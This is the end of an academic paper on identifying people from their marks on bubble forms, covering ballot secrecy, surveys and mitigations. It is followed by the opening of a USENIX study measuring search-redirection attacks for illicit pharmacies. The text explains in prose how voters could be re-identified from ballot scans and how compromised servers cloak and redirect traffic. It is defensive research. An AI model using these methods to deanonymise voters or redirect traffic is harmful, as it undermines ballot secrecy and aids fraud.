or many of the new ballots cluster around a small num-
ber of identities, this would raise suspicion that someone
else completed these forms, particularly if the forms are
unusually biased towards certain candidates or issues.

Similarly, analysis could also help uncover fraudulent
absentee ballots. Because absentee ballots do not require
a voter to be physically present, concerns exist about
individuals fraudulently obtaining and submitting these
ballots [19]. By training a model on past ballots, we
could assess whether suspicious absentee ballots fail to
match the diversity expected from the population com-
pleting these forms.7

Unfortunately, because bubble markings can serve as
a biometric, they can also be used in combination with
seemingly innocuous auxiliary data to undermine ballot
secrecy. Some jurisdictions now release scanned images
of ballots following elections with the goal of increasing
transparency (e.g., Humboldt County, California [14],
which releases ballot scans at 300 DPI). If someone has
access to these images or otherwise has the ability to ob-
tain ballot scans, they can attempt to undermine voter pri-
vacy. Although elections may be decided by millions of
voters, an attacker could focus exclusively on ballots cast
in a target’s precinct. New Jersey readjusts larger elec-
tion districts to contain fewer than 750 registered voters
[22]. Assuming 50% turnout, ballots in these districts
would fall in groups of 375 or smaller. In Wisconsin’s
contentious 2011 State Supreme Court race, 71% of re-
ported votes cast fell in the 91% of Wisconsin wards with
1,000 or fewer total votes [28].

Suppose that an interested party, such as a potential
employer, wishes to determine how you voted. Given
the ability to obtain bubble markings known to be from
you (for example, on an employment application), that
party can replicate our experiment in Section 3.1 to iso-
late one or a small subset of potential corresponding bal-
lots. What makes this breach of privacy troubling is that
it occurs without the consent of the voter and requires
no special access to the ballots (unlike paper fingerprint-

7If a state uses bubble form absentee ballot applications, analysis
could even occur on the applications themselves.

ing techniques [4], which require access to the physical
ballot). The voter has not attempted to make an iden-
tifying mark, but the act of voting results in identifying
marks nonetheless. This threat exists not only in tradi-
tional government elections but also in union and other
elections.

Finally, one known threat against voting systems is
pattern voting. For this threat, an attacker coerces a voter
to select a preferred option in a relevant race and an un-
usual combination of choices for the other races. The un-
usual voting pattern will allow the attacker to locate the
ballot later and confirm that the voter selected the cor-
rect choice for the relevant race. One proposed solution
for pattern voting is to cut ballots apart to separate votes
in individual contests [6]. Our work raises the possibil-
ity that physically divided portions of a ballot could be
connected, undermining this mitigation strategy.8

4.3 Surveys

Human subjects research is governed by a variety of re-
strictions and best practices intended to balance research
interests against the subjects’ interests. One factor to be
considered when collecting certain forms of data is the
level of anonymity afforded to subjects. If a dataset con-
tains identifying information, such as subject name, this
may impact the types of data that should be collected and
procedural safeguards imposed to protect subject privacy.
If subjects provide data using bubble forms, these mark-
ings effectively serve as a form of identifying informa-
tion, tying the form to the subject even in the absence of
a name. Re-identification of subjects can proceed in the
same manner as re-identification of voters, by matching
marks from a known individual against completed sur-
veys (as in Section 3.1).

Regardless of whether ethical or legal questions are
raised by the ability to identify survey respondents, this
ability might affect the honesty of respondents who are
aware of the issue. Dishonesty poses a problem even
for commercial surveys that do not adhere to the typical
practices of human subjects research.

The impact of this work for surveys is not entirely neg-
ative, however. In certain scenarios, the person respon-
sible for administering a survey may complete the forms
herself or modify completed forms, whether to avoid the
work of conducting the survey or to yield a desired out-
come. Should this risk exist, similar analysis to the stan-
dardized test and election cases could help uncover the
issue.

8We thank an anonymous reviewer for suggesting this possibility.
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4.4 Authentication
Because bubble markings are a biometric, they may be
used alone or in combination with other techniques for
authentication. Using a finger or a stylus, an individual
could fill in a bubble on a pad or a touchscreen. Be-
cause a computer could monitor user input, various de-
tails such as velocity and pressure could also be collected
and used to increase the accuracy of identification, poten-
tially achieving far stronger results than in Section 3.2.
On touchscreen devices, this technique may or may not
be easier for users than entry of numeric codes or pass-
words. Additional testing would be necessary for this ap-
plication, including tests of its performance in the pres-
ence of persistent adversaries.

5 Mitigation

The impact of this paper’s techniques can be both bene-
ficial and detrimental, but the drawbacks may outweigh
the benefits under certain circumstances. In these cases, a
mitigation strategy is desirable, but the appropriate strat-
egy varies. We discuss three classes of mitigation strate-
gies. First, we consider changes to the forms themselves
or how individuals mark the forms. Second, we exam-
ine procedural safeguards that restrict access to forms or
scanned images. Finally, we explore techniques that ob-
scure or remove identifying characteristics from scanned
images. No strategy alone is perfect, but various combi-
nations may be acceptable under different circumstances.

5.1 Changes to Forms or Marking Devices
As explored in Section 3.3, changes to the forms them-
selves such as a gray background can impact the accu-
racy of our tests. The unintentional protection provided
by this particular change was mild and unlikely to be
insurmountable. Nevertheless, more dramatic changes
to either the forms themselves or the ways people mark
them could provide a greater measure of defense.

Changes to the forms themselves should strive to limit
either the space for observable human variation or the
ability of an analyst to perceive these variations. The ad-
dition of a random speckled or striped background in the
same color as the writing instrument could create diffi-
culties in cleanly identifying and matching a mark. If
bubbles had wider borders, respondents would be less
likely to color outside the lines, decreasing this source
of information. Bubbles of different shapes or alternate
marking techniques could encourage less variation be-
tween users. For example, some optical scan ballots re-
quire a voter simply to draw a line to complete an arrow
shape [1], and these lines may provide less identifying
information than a completed bubble.

The marking instruments that individuals use could
also help leak less identifying information. Some Los
Angeles County voters use ink-marking devices, which
stamp a circle of ink for a user [18]. Use of an ink-
stamper would reduce the distinguishability of markings,
and even a wide marker could reduce the space for inad-
vertent variation.

5.2 Procedural Safeguards
Procedural safeguards that restrict access to both forms
themselves and scanned images can be both straightfor-
ward and effective. Collection of data from bubble forms
typically relies on scanning the forms, but a scanner need
not retain image data for any longer than required to pro-
cess a respondent’s choices. If the form and its image
are unavailable to an adversary, our techniques would be
infeasible.

In some cases, instructive practices or alternative tech-
niques already exist. For example, researchers conduct-
ing surveys could treat forms with bubble markings in the
same manner as they would treat other forms containing
identifying information. In the context of elections, some
jurisdictions currently release scanned ballot images fol-
lowing an election to provides a measure of transparency.
This release is not a satisfactory replacement for a sta-
tistically significant manual audit of paper ballots (e.g.,
[2, 5]), however, and it is not necessary for such an au-
dit. Because scanned images could be manipulated or
replaced, statistically significant manual confirmation of
the reported ballots’ validity remains necessary. Further-
more, releasing the recorded choices from a ballot (e.g.,
Washington selected for President, Lincoln selected for
Senator, etc.) without a scanned ballot image is sufficient
for a manual audit.

Whether the perceived transparency provided by the
release of ballot scans justifies the resulting privacy risk
is outside the scope of this paper. Nevertheless, should
the release of scanned images be desirable, the next sec-
tion describes methods that strive to protect privacy in
the event of a release.

5.3 Scrubbing Scanned Images
In some cases, the release of scanned bubble forms
themselves might be desirable. In California, Humboldt
County’s release of ballot image scans following the
2008 election uncovered evidence of a software glitch
causing certain ballots to be ignored [13]. Although a
manual audit could have caught this error with high prob-
ability, ballot images provide some protection against un-
intentional errors in the absence of such audits.

The ability to remove identifying information from
scanned forms while retaining some evidence of a re-
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spondent’s actions is desirable. One straightforward ap-
proach is to cover the respondent’s recorded choices with
solid black circles. Barring any stray marks or mis-
readings, this choice would completely remove all iden-
tifying bubble patterns. Unfortunately, this approach
has several disadvantages. First, a circle could cover
choices that were not selected, hiding certain forms of
errors. Second, suppose that a bubble is marked but not
recorded. While the resulting image would allow review-
ers to uncover the error, such marks retain a respondent’s
identifying details. The threat of a misreading and re-
identification could be sufficient to undermine respon-
dent confidence, enabling coercion.

An alternative to the use of black circles is to re-
place the contents of each bubble with its average color,
whether the respondent is or is not believed to have se-
lected the bubble. The rest of the scan could be scrubbed
of stray marks. This would reduce the space for variation
to color and pressure properties alone. Unfortunately, no
evidence exists that these properties cannot still be dis-
tinguishing. In addition, an average might remove a re-
spondent’s intent, even when that intent may have been
clear to the scanner interpreting the form. Similar mit-
igation techniques involve blurring the image, reducing
the image resolution, or making the image strictly black
and white, all of which have similar disadvantages to av-
eraging colors.

One interesting approach comes from the facial image
recognition community. Newton et al. [23] describe a
method for generating k-anonymous facial images. This
technique replaces each face with a “distorted” image
that is k-anonymous with respect to faces in the input
set. The resulting k-anonymous image maintains the ex-
pected visual appearance, that of a human face. The ex-
act details are beyond the scope of this paper, but the
underlying technique reduces the dimensionality using
Principal Component Analysis and an algorithm for re-
moving the most distinctive features of each face [23].

Application of facial anonymization to bubbles is
straightforward. Taking marked and unmarked bubbles
from all ballots in a set, we can apply the techniques
of Newton et al. to each bubble, replacing it with its k-
anonymous counterpart. The result would roughly main-
tain the visual appearance of each bubble while removing
certain unique attributes. Unfortunately, this approach
is imperfect in this scenario. Replacement of an image
might hide a respondent’s otherwise obvious intent. In
addition, distinguishing trends might occur over multi-
ple bubbles on a form: for example, an individual might
mark bubbles differently near the end of forms (this is
also a problem for averaging the bubble colors). Fi-
nally, concerns exist over the guarantees provided by k-
anonymity [3], but the work may be extensible to achieve
other notions of privacy, such as differential privacy [9].

We caution that the value of these images for proving
the true contents of physical bubble forms is limited: an
adversary with access to the images, whether scrubbed
or not, could intentionally modify them to match a de-
sired result. These approaches are most useful where the
primary concern is unintentional error.

6 Related Work

Biometrics. Biometrics can be based on physical or
behavioral characteristics of an individual. Physical bio-
metrics are based on physical characteristics of a person,
such as fingerprints, facial features, and iris patterns. Be-
havioral biometrics are based on behavioral characteris-
tics that tend to be stable and difficult to replicate, such
as speech or handwriting/signature [15]. Bubble comple-
tion patterns are a form of behavioral biometric.

As a biometric, bubble completion patterns are simi-
lar to handwriting, though handwriting tends to rely on
a richer, less constrained set of available features. In ei-
ther case, analysis may occur on-line or off-line [21].
In an on-line process, the verifying party may monitor
characteristics like stroke speed and pressure. In an off-
line process, a verifying party only receives the resulting
data, such as a completed bubble. Handwriting-based
recognition sometimes occurs in an on-line setting. Be-
cause off-line recognition is more generally applicable,
our analysis occurred purely in an off-line manner. In
some settings, such as authentication, on-line recogni-
tion would be possible and could yield stronger results.

Document re-identification. Some work seeks to re-
identify a precise physical document for forgery and
counterfeiting detection (e.g., [7]). While the presence
of biometrics may assist in re-identification, the prob-
lems discussed in this paper differ. We seek to discover
whether sets of marked bubbles were produced by the
same individual. Our work is agnostic towards whether
the sets come from the same form, different forms, or du-
plicates of forms. Nevertheless, our work and document
re-identification provide complementary techniques. For
example, document re-identification could help deter-
mine whether the bubble form (ballot, answer sheet, sur-
vey, etc.) provided to an individual matches the one
returned or detect the presence of fraudulently added
forms.

Cheating Detection. Existing work uses patterns in
answer choices themselves as evidence of cheating.
Myagkov et al. [20] uncover indicators of election fraud
using aggregate vote tallies, turnout, and historical data.
Similarly, analysis of answers on standardized tests can
be particularly useful in uncovering cheating [10, 17].
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For example, if students in a class demonstrate mediocre
overall performance on a test yet all correctly answer a
series of difficult questions, this may raise concerns of
cheating. The general strategy in this line of research is
to look for answers that are suspicious in the context of
either other answers or auxiliary data.

Bubble-based analysis is also complementary to these
anti-cheating measures. Each technique effectively iso-
lates sets of suspicious forms, and the combination of
the two would likely be more accurate than each inde-
pendently. Although our techniques alone do not exploit
contextual data, they have the advantage of being un-
biased by that data. If a student dramatically improves
her study habits, the resulting improvement in test scores
alone might be flagged by other anti-cheating measures
but not our techniques.

7 Future Work

Although a variety of avenues for future work exist, we
focus primarily on possibilities for additional testing and
application-specific uses here.

Our sample surveys allowed a diverse set of tests, but
access to different datasets would enable additional use-
ful tests. We are particularly interested in obtaining and
using longitudinal studies—in which a common set of re-
spondents fill out bubble forms multiple times over some
period—to evaluate our methods. While providing an
increased number of examples, this could also identify
how a respondent’s markings vary over time, establish
consistency over longer durations, and confirm that our
results are not significantly impacted by writing utensil.
Because bubble forms from longitudinal studies are not
widely available, this might entail collecting the data our-
selves.

While we tested our techniques using circular bubbles
with numbers inscribed, numerous other form styles ex-
ist. In some cases, respondents instead fill in ovals or
rectangles. In other cases, selection differs dramatically
from the traditional fill-in-the-shape approach—for ex-
ample, the line-drawing approach discussed in Section 5
bears little similarity to our sample forms. Testing these
cases would not only explore the limits of our work but
could also help uncover mitigation strategies.

Section 4 discusses a number of applications of our
techniques. Adapting the techniques to work in these
scenarios is not always trivial. For example, Section 6
discusses existing anti-cheating techniques for standard-
ized tests. Combining the evidence provided by existing
techniques and ours would strengthen anti-cheating mea-
sures, but it would also require some care to process the
data quickly and merge results.

Use of bubble markings for authentication would re-
quire both additional testing and additional refinement

of our techniques. Given a dataset containing on-line
information, such as writing instrument position, veloc-
ity, and pressure, we could add this data to our fea-
ture vectors and test the accuracy of our techniques with
these new features. This additional information could
increase identifiability considerably—signature verifica-
tion is commonly done on-line due to the utility of this
data—and may yield an effective authentication system.
Depending on the application, a bubble-based authenti-
cation system would potentially need to work with a fin-
ger rather than a pen or stylus. Because the task of fill-
ing in a bubble is relatively constrained, this application
would require cautious testing to ensure that an adversary
cannot impersonate a legitimate user.

8 Conclusion

Marking a bubble is an extremely narrow task, but as
this work illustrates, the task provides sufficient expres-
sive power for individuals to unintentionally distinguish
themselves. Using a dataset with 92 individuals, we
demonstrate how to re-identify a respondent’s survey
with over 50% accuracy. In addition, we are able to
detect an unauthorized respondent with over 92% accu-
racy with a false positive rate below 10%. We achieve
these results while performing off-line analysis exclu-
sively, but on-line analysis has the potential to achieve
even higher rates of accuracy.

The implications of this study extend to any system
utilizing bubble forms to obtain user input, especially
cases for which protection or confirmation of a respon-
dent’s identity is important. Additional tests can better
establish the threat (or benefit) posed in real-world sce-
narios. Mitigating the amount of information conveyed
through marked bubbles is an open problem, and so-
lutions are dependent on the application. For privacy-
critical applications, such the publication of ballots, we
suggest that groups releasing data consider means of
masking respondents’ markings prior to publication.
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Abstract
We investigate the manipulation of web search re-

sults to promote the unauthorized sale of prescription
drugs. We focus on search-redirection attacks, where
miscreants compromise high-ranking websites and dy-
namically redirect traffic to different pharmacies based
upon the particular search terms issued by the consumer.
We constructed a representative list of 218 drug-related
queries and automatically gathered the search results
on a daily basis over nine months in 2010-2011. We
find that about one third of all search results are one
of over 7 000 infected hosts triggered to redirect to a
few hundred pharmacy websites. Legitimate pharmacies
and health resources have been largely crowded out by
search-redirection attacks and blog spam. Infections per-
sist longest on websites with high PageRank and from
.edu domains. 96% of infected domains are connected
through traffic redirection chains, and network analysis
reveals that a few concentrated communities link many
otherwise disparate pharmacies together. We calculate
that the conversion rate of web searches into sales lies
between 0.3% and 3%, and that more illegal drugs sales
are facilitated by search-redirection attacks than by email
spam. Finally, we observe that concentration in both the
source infections and redirectors presents an opportunity
for defenders to disrupt online pharmacy sales.

1 Introduction and background
Prescription drugs sold illicitly on the Internet arguably
constitute the most dangerous online criminal activity.
While resale of counterfeit luxury goods or software are
obvious frauds, counterfeit medicines actually endanger
public safety. Independent testing has indeed revealed
that the drugs often include the active ingredient, but in
incorrect and potentially dangerous dosages [48].

In the wake of the death of a teenager, the US Congress
passed in 2008 the Ryan Haight Online Pharmacy Con-
sumer Protection Act, rendering it illegal under federal
law to “deliver, distribute, or dispense a controlled sub-
stance by means of the Internet” without an authorized
prescription, or “to aid and abet such activity” [35]. Yet,
illicit sales have continued to thrive in the nearly two
years since the law has taken effect. In response, the
White House has recently helped form a group of regis-
trars, technology companies and payment processors to
counter the proliferation of illicit online pharmacies [19].

Suspicious online retail operations have, for a long
time, primarily resorted to email spam to advertise their

Figure 1: Example of the search-redirection attack. Only
two of the results actually belong to online pharmacies. The rest are
unrelated .com or .edu sites that had been compromised to redirect to
online pharmacies, or have been populated with spam. The top search
result (framed) was still infected at the time of this writing.

products. However, the low conversion rates (realized
sales over emails sent) associated with email spam [22]
has led miscreants to adopt new tactics. Search-engine
manipulation [47], in particular, has become widely used
to advertise products. The basic idea of search-engine
manipulation is to inflate the position at which a specific
retailer’s site appears in search results by artificially link-
ing it from many websites. Conversion rates are believed
to be much higher than for spam, since the advertised site
has at least a degree of relevance to the query issued.

In this paper, we focus on a particularly pernicious
variant of search-engine manipulation involving compro-
mised web servers, which we term search-redirection at-
tacks. Analyzing measurements collected over a nine-
month interval, we show that search-redirection attacks
are fast becoming the search engine manipulation tech-
nique of choice for online miscreants.

1.1 Search-redirection attacks
Figure 1 illustrates the attack. In response to the query
“cialis without prescription”, the top eight results include
five .edu sites, one .com site with a seemingly unre-
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lated domain name, and two online pharmacies. At first
glance, the .edu and one of the .com sites have abso-
lutely nothing to do with the sale of prescription drugs.
However, clicking on some of these links, including the
top search result framed in Figure 1, takes the visitor not
to the requested site, but to an online pharmacy store.

The attack works as follows. The attacker first iden-
tifies high-visibility websites that are also vulnerable to
code injection attacks.1 Popular targets include outdated
versions of WordPress [49], phpBB [38], or any other
vulnerable blogging or wiki software. The code injected
on the server intercepts all incoming HTTP requests to
the compromised page and responds differently depend-
ing on the type of request.
Requests originating from search-engine crawlers, as
identified by the User-Agent parameter of the HTTP re-
quest, return a mix of the compromised site’s original
content plus numerous links to websites promoted by the
attacker (e.g., other compromised sites, online stores).
This technique, “link stuffing,” has been observed for
several years [34] in non-compromised websites.
Requests originating from pages of search results,
for queries deemed relevant to what the attacker wants
to promote, are redirected to a website of the at-
tacker’s choosing. The compromised web server au-
tomatically identifies these requests based on the Re-
ferrer field that HTTP requests carry [14]. The Re-
ferrer actually contains the complete resource identifier
(URI) that triggered the request. For instance, in Fig-
ure 1, when clicking on any of the links, the Referrer
field is set to http://www.google.com/search?
q=cialis+without+prescription. Upon de-
tecting the pharmacy-related query, the server sends an
HTTP redirect with status code 302 (Found) [14], along
with a location field containing the desired pharmacy
website or intermediary. The upshot is that the end user
unknowingly visits a series of websites culminating in a
fake pharmacy without ever spending time at the original
site appearing in the search results. A similar technique
has been extensively used to distribute malware [40],
while web spammers have also used the technique to hide
the true nature of their sites from investigators [33].
All other requests, including typing the URI directly
into a browser, return the original content of the website.
Therefore, website operators cannot readily discern that
their website has been compromised. As we will show
in Section 4, as a result of this “cloaking” mechanism,
some of the victim sites remain infected for a long time.

While each of the components (link stuffing, redirec-
tion chains) of the search-redirection attack has been pre-
viously observed, to our knowledge, no study has inves-
tigated the combined attack itself, its effect on search re-

1We defer the study of the specific exploits to future work. Our
focus in this paper is the outcome of the attack, not the attack itself.

sults, or the potential harm it inflicts.
Three classes of websites are involved in search-

redirection attacks. Source infections are innocent web-
sites that have been compromised and reprogrammed
with the behavior just described; redirectors are inter-
mediary websites that receive traffic from source infec-
tions; and retailers (here, pharmacies) are destination
websites that receive traffic from redirectors.

It is not immediately obvious who the victim is
in search-redirection attacks. Unlike in drive-by-
downloads [40], end users issuing pharmacy searches
are not necessarily victims, since they are actually often
seeking to illegally procure drugs online. In fact, here,
search engines do provide results relevant to what users
are looking for, regardless of the legality of the products
considered. However, users may also become victims
if they receive inaccurately dosed medicine or danger-
ous combinations that can cause physical harm or death.
The operators of source infections are victims, but only
marginally so, since they are not directly harmed by redi-
recting traffic to pharmacies. Pharmaceutical companies
are victims in that they may lose out on legitimate sales.
The greatest harm is a societal one, because laws de-
signed to protect consumers are being openly flouted.

1.2 Summary of our contributions
Our study contributes to the understanding of online
crime and search engine manipulation in several ways.

First, we collected search results over a nine-month
interval (April 2010–February 2011). The data com-
prises daily returns from April 12, 2010–October 21,
2010, complemented by an additional 10 weeks of data
from November 15th 2010–February 1st 2011. Com-
bining both datasets, we gathered about 185 000 dif-
ferent universal resource identifiers (pharmacies, benign
and compromised sites), of which around 63 000 were
infected. We describe our measurement infrastructure
and methodology in details in Section 2, and discuss the
search results in Section 3.

Second, we show that a quarter of the top 10 search
results actively redirect from compromised websites to
online pharmacies at any given time. We show infected
websites are very slowly remedied: the median infection
lasts 46 days, and 16% of all websites have remained in-
fected throughout the study. Further, websites with high
reputation (e.g., high PageRank) remain infected and ap-
pear in the search results much longer than others.

Third, we provide concrete evidence of the existence
of large, connected, advertising “affiliate” networks, fun-
neling traffic to over 90% of the illicit online pharmacies
we encountered. Search-redirection attacks play a key
role in diverting traffic to questionable retail operations
at the expense of legitimate alternatives.

Fourth, we analyze whether sites involved in the phar-
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maceutical trade are involved in other forms of sus-
picious retail activities, in other security attacks (e.g.,
serving malware-infested pages), or in spam email cam-
paigns. While we find occasional evidence of other ne-
farious activities, many of the pharmacies we inspect ap-
pear to have moved away from email spam-based adver-
tising. We discuss infection characteristics, affiliate net-
works, and relationship with other attacks in Section 4.

Fifth, we derive a rough estimate of the conversion
rates achieved by search-redirection attacks, and show
they are considerably higher than those observed for
spam campaigns. We present this analysis in Section 5.

Sixth, we consider a range of mitigation strategies that
could reduce the harm caused by search-redirection at-
tacks in Section 6.

In addition to these contributions, we compare our
study with related work in Section 7, before concluding
in Section 8, where we also describe ongoing work track-
ing the promotion of other types of fraudulent goods.

2 Measurement methodology
We now explain the methodology used to identify search-
redirection attacks that promote online pharmacies. We
first describe the infrastructure for data collection, then
how search queries are selected, and finally how the
search results are classified.

2.1 Infrastructure overview
The measurement infrastructure comprises two distinct
components: a search-engine agent that sends drug-
related queries and a crawler that checks for behavior
associated with search-redirection attacks.2

The search-engine agent uses the Google Web Search
API [2] to automatically retrieve the top 64 search re-
sults to selected queries. From manually inspecting some
compromised websites, we found that search-redirection
attacks frequently also work on other search engines.
Every 24 hours, the search-engine agent automatically
sends 218 different queries for prescription drug-related
terms (e.g., “cialis without prescription”) and stores all
13 952 (= 64× 218) URIs returned. We explain how we
selected the corpus of 218 queries in Section 2.2.

The crawler module then contacts each URI collected
by the search-engine agent and checks for HTTP 302
redirects mentioned in Section 1.1. The crawler emulates
typical web-search activity by setting the User-Agent and
Referrer terms appropriately in the HTTP headers. Ini-
tial tests revealed that some source infections had been
programmed to block repeated requests from a single IP
address. Consequently, all crawler requests are tunneled
through the Tor network [11] to circumvent the blocking.

2All results gathered by the crawler are stored in a mySQL database,
available from http://arima.ini.cmu.edu/rx.sql.gz.

2.2 Query selection
Selecting appropriate queries to feed the search-engine
agent is critical for obtaining suitable quality, coverage
and representativeness in the results. We began by issu-
ing a single seed query, “no prescription vicodin,” cho-
sen for the many source infections it returned at the time
(March 3, 2010). We then browsed the top infected re-
sults posing as a search engine crawler. As described in
Section 1.1, infected servers present different results to
search-engine crawlers. The pages include a mixture of
the site’s original content and a number of drug-related
search phrases designed to make the website attractive
to search engines for these queries. The inserted phrases
typically linked to other websites the attacker wishes to
promote, in our case other online pharmacies.

We compiled a list of promoted search phrases by vis-
iting the linked pharmacies posing as a search-engine
crawler and noting the phrases observed. Many phrases
were either identical or contained only minor differences,
such as spelling variations on drug names. We reduced
the list to a corpus of 48 unique queries, representative
of all drugs advertised in this first step.

We then repeated this process for all 48 search phrases,
gathering results daily from March 3, 2010 through April
11, 2010. The 48-query search subsequently led us to
371 source infections. We again browsed each of these
source infections posing as a search engine crawler, and
gathered a few thousand search phrases linked from the
infected websites. After again sorting through the dupli-
cates, we got a corpus of 218 unique search queries.

The risk of starting from a single seed is to only iden-
tify a single unrepresentative campaign. Hence, we ran a
validation experiment to ensure that our selected queries
had satisfactory coverage. We obtained a six-month sam-
ple of spam email (collected at a different time period,
late 2009) gathered in a different context [42]. We ran
SpamAssassin [5] on this spam corpus, to classify each
spam as either pharmacy-related or otherwise. We then
extracted all drug names encountered in the pharmacy-
related spam, and observed that they defined a subset of
the drug names present in our search queries. This gave
us confidence that the query corpus was quite complete.

We further validated our query selection by comparing
results obtained with our query corpus to those collected
from two additional query corpora: 1) searches ran on
an exhaustive list of 9 000 prescription drugs obtained
from the US Food & Drug Administration [15], and
2) 1 179 drug-related search queries extracted from the
HTTP logs of 169 source websites. The results (in Ap-
pendix A) confirm adequate coverage of our 218 queries.

2.3 Search-result classification
We attempt to classify all results obtained by the search-
engine agent. Each query returns a mix of legitimate re-
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sults (e.g., health information websites) and abusive re-
sults (e.g., spammed blog comments and forum postings
advertising online pharmacies). We seek to distinguish
between these different types of activity to better under-
stand the impact of search-redirection attacks may have
on legitimate pharmacies and other forms of abuse. We
assign each result into one of the following categories:
1) search-redirection attacks, 2) health resources, 3) le-
gitimate online pharmacies, 4) illicit online pharmacies,
5) blog or forum spam, and 6) uncategorized.

We mark websites as participating in search-
redirection attacks by observing an HTTP redirect to
a different website. Legitimate websites regularly use
HTTP redirects, but it is less common to redirect to en-
tirely different websites immediately upon arrival from
a search engine. Every time the crawler encounters a
redirect, it recursively follows and stores the intermedi-
ate URIs and IP addresses encountered in the database.
These redirection chains are used to infer relationships
between source infections and pharmacies in Section 4.3.

We performed two robustness checks to assess the
suitability of classifying all external redirects as attacks.
First, we found known drug terms in at least one redirect
URI for 63% of source websites. Second, we found that
86% of redirecting websites point to the same website
as 10 other redirecting websites. Finally, 93% of redi-
recting websites exhibit at least one of these behaviors,
suggesting that the vast majority of redirecting websites
are infected. In fact, we expect that most of the remain-
ing 7% are also infected, but some attackers use unique
websites for redirection. Thus, treating all external redi-
rects as malicious appears reasonable in this study.

Health resources are websites such as webmd.com
that describe characteristics of a drug. We used the Alexa
Web Information Service API [1], which is based on the
Open Directory [4] to determine each website category.

We distinguish between legitimate and illicit online
pharmacies by using a list of registered pharmacies ob-
tained from the non-profit organization Legitscript [3].
Legitscript maintains a whitelist of 324 confirmed legit-
imate online pharmacies, which require a verified doc-
tor’s prescription and sell genuine drugs. Illicit phar-
macies are websites which do not appear in Legitscript’s
whitelist, and whose domain name contains drug names
or words such as “pill,” “tabs,” or “prescription.” Legit-
Script’s list is likely incomplete, so we may incorrectly
categorize some collected legitimate pharmacies as il-
licit, because they have not been certified by LegitScript.

Finally, blog and forum spam captures the frequent oc-
currence where websites that allow user-generated con-
tent are abused by users posting drug advertisements. We
classify these websites based only on the URI structure,
since collecting and storing the pages referenced by URIs
is cost-prohibitive. We first check the URI subdomain

URIs Domains
# % # %

Source infections 73 909 53.8 4 652 20.2
Active 44 503 32.4 2 907 12.6
Inactive 29 406 21.4 1 745 7.6

Health resources 1 817 1.3 422 1.8
Pharmacies 4 348 3.2 2 138 9.3

Legitimate 12 0.01 9 0.04
Illicit 4 336 3.2 2 129 9.2

Blog/forum spam 41 335 30.1 8 064 34.9
Uncategorized 15 945 11.6 7 766 33.7

Total 137 354 100.0 23 042 100.0

Table 1: Classification of all search results (4–10/2010).

and path for common terms indicating user-contributed
content, such as “blog,” “viewmember” or “profile.” We
also check any remaining URIs for drug terms appearing
in the subdomain and path. While these might in fact be
compromised websites that have been loaded with con-
tent, upon manual inspection the activity appears consis-
tent with user-generated content abuse.

3 Empirical analysis of search results
We begin our measurement analysis by examining the
search results collected by the crawler. The objective
here is to understand how prevalent search-redirection
attacks are, in both absolute terms and relative to legit-
imate sources and other forms of abuse.

3.1 Breakdown of search results
Table 1 presents a breakdown of all search results ob-
tained during the six months of primary data collection.
137 354 distinct URIs correspond to 23 042 different do-
mains. We observed 44 503 of these URIs to be com-
promised websites (source infections) actively redirect-
ing to pharmacies, 32% of the total. These corresponded
to 4 652 unique infected source domains. We examine
the redirection chains in more detail in Section 4.3.

An additional 29 406 URIs did not exhibit redirection
even though they shared domains with URIs where we
did observe redirection. There are several plausible ex-
planations for why only some URIs on a domain will
redirect to pharmacies. First, websites may continue to
appear in the search results even after they have been re-
mediated and stop redirecting to pharmacies. In Figure 1,
the third link to appear in the search engine results has
been disinfected, but the search engine is not yet aware
of that. For 17% of the domains with inactive redirection
links, the inactive links only appear in the search results
after all the active redirects have stopped appearing.

However, for the remaining 83% of domains, the in-
active links are interspersed among the URIs which ac-
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Figure 2: Empirical measurements of pharmacy-related search results.

tively redirect. In this case, we expect that the miscre-
ants’ search engine optimization has failed, incorrectly
promoting pages on the infected website that do not redi-
rect to pharmacies.

By comparison, very few search results led to legiti-
mate resources. 1 817 URIs, 1.3% of the total, pointed
to websites offering health resources. Even more strik-
ing, only nine legitimate pharmacy websites, or 0.04%
of the total, appeared in the search results. By contrast,
2 129 illicit pharmacies appeared directly in the search
results. 30% of the results pointed to legitimate web-
sites where miscreants had posted spam advertisements
to online pharmacies. In contrast to the infected web-
sites, these results require a user to click on the link to
arrive at the pharmacy. It is also likely that many of these
results were not intended for end users to visit; instead,
they could be used to promote infected websites higher
in the search results.

3.2 Variation in search position
Merely appearing in search results is not enough
to ensure success for miscreants perpetrating search-
redirection attacks. Appearing towards the top of the
search results is also essential [20]. To that end, we col-
lected data for an additional 10 weeks from November
15th 2010 to February 1st 2011 where we recorded the
position of each URI in the search results.

Figure 2(a) presents the findings. Around one third of
the time, search-redirection attacks appeared in the first
position of the search results. 17% of the results were
actively redirecting at the time they were observed in the
first position. Blog and forum spam appeared in the top
spot in 30% of results, while illicit pharmacies accounted
for 22% and legitimate health resources just 5%.

The distribution of results remains fairly consistent
across all 64 positions. Active search-redirection attacks
increase their proportion slightly as the rankings fall, ris-

ing to 26% in positions 6–10. The share of illicit pharma-
cies falls considerably after the first position, from 22%
to 14% for positions 2–10. Overall, it is striking how
consistently all types of manipulation have crowded out
legitimate health resources across all search positions.

3.3 Turnover in search results
Web search results can be very dynamic, even with-
out an adversary trying to manipulate the outcome. We
count the number of unique domains we observe in
each day’s sample for the categories outlined in Sec-
tion 2. Figure 2(b) shows the average daily count for two-
week periods from May 2010 to February 2011, cov-
ering both sample periods. The number of illicit phar-
macies and health resources remains fairly constant over
time, whereas the number of blogs and forums with phar-
maceutical postings fell by almost half between May
and February. Notably, the number of source infections
steadily increased from 580 per day in early May to 895
by late January, a 50% increase in daily activity.

3.4 Variation in search queries
As part of its AdWords program, Google offers a free
service called Traffic Estimator to check the estimated
number of global monthly searches for any phrase.3 We
fetched the results for the 218 pharmacy search terms
we regularly check; in total, over 2.4 million searches
each month are made using these terms. This gives us
a good first approximation of the relative popularity of
web searches for finding drugs through online pharma-
cies. Some terms are searched for very frequently (as
much as 246 000 times per month), while other terms are
only searched for very occasionally.

We now explore whether the quality of search results
vary according to the query’s popularity. We might ex-
pect that less-popular search terms are easier to manip-

3https://adwords.google.com/select/TrafficEstimatorSandbox

5



286 20th USENIX Security Symposium USENIX Association

ulate, but also that there could be more competition to
manipulate the results of popular queries.

Figure 2(c) plots the average number of unique URIs
observed per query for each category. For unpopular
searches, with less than 100 global monthly searches,
search-redirection attacks and blog spam appear with
similar frequency. However, as the popularity of the
search term increases, search-redirection attacks con-
tinue to appear in the search results with roughly the
same regularity, while the blog and forum spam drops
considerably (from 355 URIs per query to 105).

While occurring on a smaller scale, the trends of illicit
pharmacies and legitimate health resources are also note-
worthy. Health resources become increasingly crowded
out by illicit websites as queries become more popular.
